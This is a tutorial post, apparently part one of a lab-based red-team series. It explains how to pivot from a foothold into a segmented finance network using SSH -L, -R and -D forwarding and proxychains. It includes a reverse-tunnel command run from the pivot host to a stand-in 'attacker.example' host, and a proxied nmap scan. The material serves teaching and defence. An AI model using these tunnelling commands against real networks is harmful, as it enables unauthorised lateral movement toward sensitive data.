Pivoting and Tunneling Part 1: Why Pivoting Is Just Routing With Extra Steps

Lab-only note up front: everything in this series runs against a documented, simulated lab — the same CONTOSO.LOCAL domain from the Impacket Deep Dive series. Running any of this against a network you don’t own or aren’t explicitly authorised to test is a computer crime in most jurisdictions.

Picking up where Impacket left off

The Impacket series got a foothold on WKS01 as j.reyes, roasted a couple of service accounts, and eventually walked out with domain admin. What it didn’t cover is a problem that shows up on almost every real engagement the moment you look past the first host you land on: the thing you actually want is somewhere you can’t reach.

For this series, CONTOSO.LOCAL gets one addition — a segmented finance VLAN that wasn’t relevant to the AD attack paths but is exactly the kind of thing pivoting exists to solve:

HostSegmentReachable from WKS01?
DC01, FS01, WKS0110.10.10.0/24 (corporate)
FIN-DB01 (MSSQL, holds the payroll database)10.10.40.0/24 (finance, ACL’d)No — firewall policy only permits FS01 into 10.10.40.0/24 on 1433

FS01 sits with a leg in both segments because finance reporting scripts on the file server need to query the payroll database. WKS01 — where you already have a shell from the Impacket series — has no route to 10.10.40.0/24 at all, and even if it did, the firewall policy between the segments only permits FS01’s address on port 1433. That’s a deliberate, reasonable piece of network segmentation. It’s also exactly the shape of problem pivoting is built to get around: you don’t get a new set of legs, you route your traffic through the ones you already control.

Pivoting is a routing problem wearing a red-team costume

Strip away the tooling and every pivot is the same shape: you have control of a host (FS01) that has a route somewhere you don’t (10.10.40.0/24), and you want your traffic — from your attack box, wherever that physically sits — to travel through that host to get there. That’s indistinguishable, mechanically, from what a VPN concentrator, a bastion host, or a jump box does for entirely legitimate reasons every day. The tooling in this series (SSH forwarding here, Chisel and ligolo-ng in later parts) is just different ways of building that route.

SSH local forwarding (-L): reaching one specific thing through a host you control

If you already have SSH access to a pivot point, -L is the simplest tool for the job — it binds a port on your machine and forwards anything that connects to it, through the SSH connection, to a destination the remote end can reach:

ssh -L 1433:10.10.40.10:1433 anon@fs01.contoso.local

Reading it left to right: connections to 1433 on your own machine get forwarded, through the SSH session to fs01, and from there out to 10.10.40.10:1433 — a host fs01 can reach but you can’t. Point any MSSQL client at 127.0.0.1:1433 and it behaves exactly as if it were talking to FIN-DB01 directly. Add -N to skip opening a shell (you just want the forward, not a login) and -f to background it:

ssh -N -f -L 1433:10.10.40.10:1433 anon@fs01.contoso.local

SSH remote forwarding (-R): the pivot calls home

-R runs the same idea backwards — instead of you reaching in, the remote host’s connection is forwarded back out to you. This is the one that matters when you don’t have standing SSH access to the pivot and instead got a foothold some other way (a webshell, a scheduled task, whatever) and need that host to phone home through a connection it initiates outbound, because outbound is what the firewall actually allows:

# run from the pivot host, connecting back to your attack box
ssh -N -R 8080:127.0.0.1:22 you@attacker.example

That takes the pivot’s local port 22 (or whatever you point it at) and makes it reachable on your attacker box’s 127.0.0.1:8080 — useful, but notice the constraint: it requires the pivot host to have an outbound SSH client and a route to your attacker box. On a segmented internal Windows host with no OpenSSH client and an egress policy that only permits 443 outbound to a specific proxy, that’s already two assumptions that don’t hold. Keep this limitation in your pocket — it’s exactly the gap Chisel fills in Part 2.

SSH dynamic forwarding (-D): a SOCKS proxy for free

-D turns the SSH client itself into a SOCKS5 proxy, letting any SOCKS-aware application route arbitrary destinations through the pivot, rather than the one fixed destination -L gives you:

ssh -N -f -D 1080 anon@fs01.contoso.local

Now 127.0.0.1:1080 is a SOCKS5 proxy that, for anything pointed at it, reaches wherever fs01 can reach — including 10.10.40.0/24. This is the most flexible of the three SSH forwarding modes, and it’s also where the first real limitation shows up: only applications that know how to speak SOCKS (a browser’s proxy settings, curl --socks5, tools with a built-in --proxy flag) can use it directly.

proxychains: forcing SOCKS onto tools that don’t know they’re being tunneled

Most of the tools you actually want to run through a pivot — nmap, psql, a random Python script — have no idea what a SOCKS proxy is. proxychains (or proxychains-ng) solves this with LD_PRELOAD: it intercepts the connect() libc call before the target program’s own network code runs, and silently redirects it through the SOCKS proxy instead. The tool itself never finds out anything changed.

Point it at your -D proxy in /etc/proxychains4.conf:

[ProxyList]
socks5 127.0.0.1 1080

Then prefix anything:

proxychains nmap -sT -Pn 10.10.40.10

That -sT isn’t cosmetic — it’s the first real crack in the abstraction. proxychains hooks connect(), which only exists for TCP; nmap’s default SYN scan (-sS) crafts raw packets directly, bypassing libc’s socket calls entirely, so it silently fails to route through the proxy at all. UDP has the same problem. Every tool you run through proxychains has to be re-evaluated against “does this actually go through a connect() call, or does it build its own packets” — and the honest answer, for a meaningful slice of the security toolkit, is the latter.

Where the SSH/SOCKS baseline runs out of road

Stack the constraints from this post and the shape of the next two parts becomes obvious:

  • -R and -D both need an SSH client on the pivot host and a route out from it — fine on FS01 (Linux-adjacent, has one), a much bigger ask on a locked-down Windows host with no OpenSSH and egress limited to 443 through a proxy.
  • proxychains only intercepts connect()-based TCP. Raw-socket scans, most UDP tooling, and ICMP are all invisible to it.
  • Every additional pivoted tool needs its own -L forward or its own proxychains-wrapped invocation — there’s no single “route everything on-demand” mode.

That gap — no SSH required on the far end, works over plain HTTP, and (with ligolo-ng specifically) doesn’t need proxychains at all because it operates below the application layer — is exactly what Chisel and ligolo-ng exist to close. Part 2 picks up with Chisel’s reverse SOCKS tunnel over HTTP, verified against the real v1.11.8 --help output rather than guessed from older docs.

Where this fits

This series sits next to the Impacket Deep Dive as the natural next step after a foothold, and leans on the same packet-level instincts as rst-forensics and pmtud-sweeper — Part 4 goes deep on what tunneling does to MTU and PMTUD, and it’s the same fragmentation-and-blackhole territory those two tools were built around. On the defensive side, the segmentation model in this lab (a firewall policy that permits exactly one host into a sensitive VLAN, on exactly one port) is the same principle covered in Zero Trust Meets the Overlay — Part 6 closes the series by turning the attacker’s playbook into a checklist for hardening exactly this kind of boundary on a Fortinet fabric.